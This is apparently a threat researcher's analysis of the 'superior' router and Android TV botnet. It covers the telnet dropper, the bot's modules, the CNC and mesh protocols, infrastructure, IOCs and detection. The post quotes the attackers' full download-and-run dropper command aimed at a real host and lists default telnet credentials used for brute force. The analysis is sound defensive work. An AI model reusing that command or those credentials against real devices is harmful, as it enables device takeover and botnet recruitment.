superior: a build that kept its debug info
The superior IoT/Android bot end to end: telnet dropper, a DWARF build, its modules, the CNC protocol with a decoder, the mesh recorded in a lab, telemetry and IOCs. New findings marked.
superior is a musl C bot for routers, DVRs and Android TV boxes. eFeSpain reported it first and in depth: Superior series, chapters 35–37. This post is everything I found, including what they already covered. Items marked New are not in their reporting or abuse.ch as of 17 November. Static analysis, plus two runs in an isolated lab on 17 November.
Summary
| Finding | Status |
|---|---|
| ARM build with DWARF debug info, ~90 source module names | New (binary on VirusTotal from 5 Nov; no public analysis found) |
bricker.c (bricker_lock, bricker_taunt_download) | New, code only; not confirmed reachable |
| Install telemetry on 195.178.110[.]91:18081 | New |
| CNC command set: framing, 8 control opcodes, attack-command layout, 39 vector ids | New; eFeSpain give no command format |
| Passive decoder, and a network signature on the announcement’s constant bytes | New |
C2 domain ilovefemboyssomuch.duckdns[.]org, UDP 5823 benchmark, [BOOT]/[SYSINFO]/[SELF] report formats | New |
| Mesh seen running in a lab: on by default in both builds, bots link on TCP 443; wire format, keys, 16 message types | New; eFeSpain found it switched off and never saw it run |
| Neither build dialled its CNC in the lab; in the debug build nothing opens the CNC socket | New |
SWR1 greeting on 443, .swarm_peers, SCARE/KILL mesh commands, HYDRA on UDP 8346, [BOOK]/[CATALOG] reports | eFeSpain ch. 36 |
| X25519 + BLAKE2s + ChaCha20, announcement under a fixed key/nonce/counter and its fields, TCP 14444, plaintext reports on 5821 | eFeSpain ch. 36 |
Two /s revisions, 5c9997e2…, c4785aeb… | New to abuse.ch and VirusTotal |
| 195.178.110[.]78 as a telnet loader (753 sessions on 11 Nov, active to 17 Nov) | eFeSpain saw it doing ADB recon/install |
Telnet vector, /s dropper, :8099 beacons, CNC :29444 | eFeSpain ch. 36 |
Path tokens, acer label, v7 lock | eFeSpain ch. 36 |
HYDRA mesh, killers, kimwolf method, scareware, ADB/Magisk persistence, hosting | eFeSpain ch. 35–36 |
Delivery
Every session came over telnet with stock IoT logins: admin/admin, root/root, root/GM8182, default/default, root/admin, admin/BrAhMoS@15. Then:
cd /tmp||cd /var/run||cd /dev/shm;busybox wget -q -O .y hxxp://77.239.124[.]167/s||wget -q -O .y hxxp://77.239.124[.]167/s||toybox wget -O .y hxxp://77.239.124[.]167/s||curl -fsSL hxxp://77.239.124[.]167/s -o .y;TAG=acer sh .y 2>/dev/null; echo DROPPED
First binaries on 4–6 November (superior.arm7, superior.arm4 requested). Main wave on 11 November: 216 dropper runs and four dropper revisions in one day.
The /s dropper
A 12–14 KB commented POSIX sh script (“superior — telnet dropper (/s)”). In order:
- Beacon
hxxp://77.239.124[.]167:8099/b/s/<hostname>. - Pick the arch from
uname -m,getprop ro.product.cpu.abiand/proc/cpuinfo, then override it by readinge_machine/EI_DATAfrom/bin/shwithod,hexdumporxxd(routers that saymipsbut run little-endian). - New: report
hxxp://195.178.110[.]91:18081/s/arch-<arch>. - Find an executable dir by writing and running a probe in
$HOME,/var/tmp,/dev/shm,/tmp,/data/local/tmp,/mnt. - Fetch
superior.<arch>with any of 17 methods: curl, wget, busybox, toybox, uclient-fetch, fetch, ftp, python, perl, php, ruby, node, tftp, or a hand-written GET overnc,/dev/tcporsocat. Require ELF magic or >100 KB. - Report
/s/fetched-<arch>, test CNC TCP 29444 withnc -z, report/s/launch-<arch>-<nc-ok|nc-blocked|nc-absent>-<path>. - Run
~/.superior.<arch> <tag>.SUPERIOR_INSTANCE_GEN=v7lets a new build retire old ones.
The telemetry steps give the operator a per-arch count of failed installs, presumably.
The bot
Two builds: superior.arm7 672 KB static with DWARF (New), and a 618 KB static-pie. The debug build is armv5te, musl cross-gcc 11.2.1, built under /tmp/m1132/build/. Module names (New) match the help text:
| Area | Modules | Behaviour |
|---|---|---|
| Spread | vec_telnet_scan.c, selfrep.c, ssh.c, adb_persist.c, squat.c | Telnet and ADB scanning; Magisk/KernelSU module media_svc, adbd_tcp.sh; squats 5555 so rivals can’t reuse ADB |
| Control | cncfind.c, hydra.c, swarm.c, swarm_cmd.c, lifeline.c, x25519.c, chacha20.c, blake2s.c | Encrypted CNC with static server key (CNC_STATIC_PUB); P2P mesh with peer cache /data/adb/.swarm_peers and ARP sweep; at <ip|all> / atid <node> relay gated by AUTH <key> |
| Persistence | boxpersist.c, survival.c, watch.c, upgrade.c | cron @reboot, /etc/init.d/superior, # superior-persist block, memfd restart, self-upgrade |
| Rivals | killer.c, competitor_kill.c, kimwolf.c, rootkit_clean.c, ovh_kill.c, defender.c | Kills other bots; editable block/allow lists (killer bl add) |
| Coercion | scareware.c, bricker.c (New), locker.c | Android lock screen, framebuffer takeover, TTY scareware, bricker_lock |
| Floods | cf_bypass_flood.c, captcha_bypass_flood.c, cdn_bypass_flood.c, http3_flood.c, h2_cont_flood.c, h2_down_flood.c, tls_full_flood.c, ws_flood.c, dns_amp.c, ssdp_amp.c, tcp_stomp.c, tcp_kill.c, udp_xor.c, minecraft_flood.c, fivem.c, discord.c, game.c | 36 methods per this build’s help; eFeSpain counts 37 |
| Stealth | anti_debug.c, stealth.c | ptrace checks; not yet reversed |
eFeSpain found the Android build uses Kimwolf’s package name and a method called “kimwolf”; kimwolf.c fits.
CNC protocol
Added 17 November, from the debug build. eFeSpain ch. 36 first described the announcement and its fixed key; the command side is New.
Caveat. The debug build contains this code but never uses it: nothing in the binary opens the CNC socket. In the lab neither build looked up the CNC domain or connected to it in about ten minutes. This section is a reading of the code, unchecked against live traffic. These builds are driven over the mesh, below.
Transport. Written for raw TCP to 29444, alternating with 14444 after a failed connect.
Announcement (bot → CNC). One frame, BE16 length | ciphertext, ChaCha20 under a key, nonce and counter fixed in the sample, so anyone can decrypt it. Fields: 00 00 00 0d, arch, version (superior-v21), cores, RAM, label, root flag, cmdline, CPU model, a fresh X25519 public key, an 8-byte device id. New: since everything is fixed, ciphertext bytes 2–5 are always a8 31 f0 21, on any port.
Keys. session = BLAKE2s(X25519(eph_priv, CNC_STATIC_PUB) | eph_pub | CNC_STATIC_PUB), mac = BLAKE2s(key=session, "mac"). Not recoverable from a capture alone.
CNC → bot (New). A 2-byte big-endian header picks the message; each ends with an 8-byte truncated BLAKE2s MAC. Control messages are plaintext, so a capture shows them without any key.
| Header | Message | Body |
|---|---|---|
0000 | Stop all attacks | |
ffff | Self-destruct | |
fffe | Update | URL, optional BLAKE2s-256 of the new binary |
fffd | File pull | Path |
fffc | Killer config | 1 flag byte |
fffb | Mesh peer list | Up to 16 IPv4 |
fffa | Bandwidth benchmark (UDP 5823) | 8-byte arg, rounds |
fff9 | Self-report request, or a challenge the bot echoes | 8-byte challenge |
≤ 1ff8 | Attack command; header = length | ChaCha20 under the session key, counter +1 per command |
Attack plaintext is Mirai-like: vector | BE16 seconds | n targets | n × (IPv4, mask) | n options | n × (key, len, value). This build registers 39 vector ids.
Bot → CNC afterwards. Only a plaintext 00 00 keepalive and the challenge echo. Status goes to TCP 5821 as plain lines (New formats): [BOOT]|id=…|up=…, [SYSINFO]|uptime=…|kernel=…, [SELF]|pid=…, [BENCHMARK]…, [ANALYST]|kind=debugger.
The mesh
New. Recorded on 17 November by running each build in two VMs on an isolated network with a fake internet. Every hello and frame captured decrypts and verifies. eFeSpain had the SWR1 greeting, the port and the SCARE/KILL commands from the code; in their builds the mesh was off.
- Transport. Raw TCP 443, not TLS. Peers come from the ARP table, a bootstrap address (77.239.124[.]167), peer files and peer exchange. Two bots on one LAN only linked once each was in the other’s ARP table.
- Keys. Derived from the same fixed key as the CNC announcement:
mac_key = BLAKE2s(key=fixed, "swarm-mac-v1"). A capture decodes with no other secret. - Hello, 35 bytes each way:
"SWR1" | 01 | node id[8] | BE16 listen port | IPv4 | MAC[16]. - Frame:
BE16 length | ciphertext | MAC[16]; plaintexttype | flag | message id[8] | BE16 len | payload, ChaCha20 with a per-direction counter and nonce.
| Type | Message | Type | Message |
|---|---|---|---|
| 1 | Peer exchange | 9 | Log request |
| 2 | Attack (CNC layout) | 10 | Log line |
| 3 | Stop | 11 | Locker |
| 4 | Kill | 12 | Blocklist |
| 5 | Ping | 13 | Operator command |
| 6 | Pong | 14 | Command output |
| 7 | Scare | 15 | Targeted command |
| 8 | Killer config | 16 | System facts |
Seen live: hello, peer exchange, ping, pong, system facts. The rest are from the code.
Also in the runs. Thousands of plaintext report connections per bot to TCP 5821 in ten minutes: [ARCH], [SERIAL], [ROOT], [OPT], [WATCHDOG], [SWARM]|ip=…|on=…|links=…|peers=… (New formats), [BOOK] (file inventory), [CATALOG] (executables) and [CNC]|ip=…|port=…|kind=… from a scanner looking for other bots’ services. The only DNS lookup was ip-api[.]com. Self-replication and the killer were disabled with the bot’s own switches.
Infrastructure
| Host | Role | Status |
|---|---|---|
| 77.239.124[.]167 | /s, /k/<token>/superior.<arch>, beacon :8099, CNC :29444 (fallback :14444), status reports :5821 | Known |
ilovefemboyssomuch.duckdns[.]org | C2 domain in the string table | New |
| 195.178.110[.]91:18081 | Install telemetry | New |
| 195.178.110[.]78 | Telnet loader | Known host, new role |
| 217.60.102[.]31 | Telnet loader |
77.239.124[.]0/24 also served systemd-baby and a std000 Mirai the same month. Shared hosting, not proof of one operator; eFeSpain covers the block’s history in ch. 36. Path tokens: 8e61cfee78b940a0, a56f1a4933ad0bca, b7942940b561f752.
IOCs
| sha256 | What |
|---|---|
5f7494996239fa4768a89f61b6d3cf710b75fb458c099b6c71d7fb7174c09220 | superior.arm7, debug build |
f1cd80c989a6c9fc872978c8f2ecf6ed42788a6144e4936f2e2088e3bd77c03a | superior.arm7, static-pie |
f506dc7d3b0e70329979385d841289003d4f51cb108104ac221d2b36997931a5 | /s, GEN v7 |
5c9997e23cb38e41d3cb9945ea1f41108275c75c7c1f82004d527038c55b63f7 | /s (New) |
c4785aeb2d863ba0f118300737dc3b8d255b79ec4efee29d990b6f6fba70f161 | /s (New) |
35cc7669054ba9ee656dc0fb852cad31d856e4bc95a5cf88e4bb58f64129e30f | /s |
Host, from the lab runs (New): /tmp/.bot_lock, /tmp/.hydra_dark, /tmp/.swarm_peers, /tmp/.superior_tmp/.x<N>, crontab @reboot /usr/local/bin/<16 random chars> &, listeners on TCP 443, UDP 8346 and localhost TCP 8345.
Host: .superior.<arch>, .superior_tmp, /etc/init.d/superior, /data/local/tmp/.sys, /data/local/tmp/.adbport, /data/adb/.swarm_peers, /data/adb/modules/media_svc/, /data/adb/service.d/adbd_tcp.sh, /system/etc/init.d/02adbd_tcp; env SUPERIOR_INSTANCE_GEN, SUPERIOR_SUPERVISED, SUPERIOR_NO_MESH, SUPERIOR_NOSQUAT, SUPERIOR_NOCNCFIND; crontab block # superior-persist begin/end.
Detection
YARA (matches all 6 samples, none of ~790 other captures), Suricata rules for the telemetry, beacon, CNC ports, announcement bytes, status lines, C2 domain, mesh hello and fetches, and an offline decoder for captured CNC and mesh streams: github.com/ChrisSewell/superior-botnet (CC BY 4.0).
Hardening: disable telnet and default creds on routers, DVRs and cameras; disable network ADB on TV boxes and isolate them; watch for listeners on 5555 and unknown Magisk modules.
Open: check the CNC decoder against live traffic (needs a build that dials); the mesh’s operator-command messages.